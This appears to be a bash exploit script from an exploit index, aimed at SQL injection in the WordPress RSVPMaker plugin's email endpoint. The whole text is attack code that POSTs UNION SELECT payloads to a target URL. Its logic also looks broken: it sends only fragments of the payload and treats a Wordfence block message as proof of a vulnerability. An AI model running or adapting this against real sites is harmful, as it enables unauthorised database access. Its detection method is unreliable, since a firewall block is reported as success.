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## https://sploitus.com/exploit?id=1337DAY-ID-39245
#!/bin/bash

# Set the URL of the website running the vulnerable plugin
url="http://example.com/wp-content/plugins/rsvpmaker/rsvpmaker-email.php"

# Set the number of columns in the query
columns=5

response=$(curl -s "$url")
query=$(echo "$response" | grep -oP 'FROM .* WHERE .*')

payload="' UNION SELECT 1,2,3,4,5-- "

# Test the query with different numbers of columns
for i in $(seq 1 $columns)
do
  query_with_payload="${query%?*}?${payload:0:i}${query#*?}"
  curl -s -X POST -d "$query_with_payload" "$url" | grep -q "Wordfence Security Error"
  if [ $? -eq 0 ]
  then
    echo "Vulnerability confirmed with $i columns"
    break
  fi
done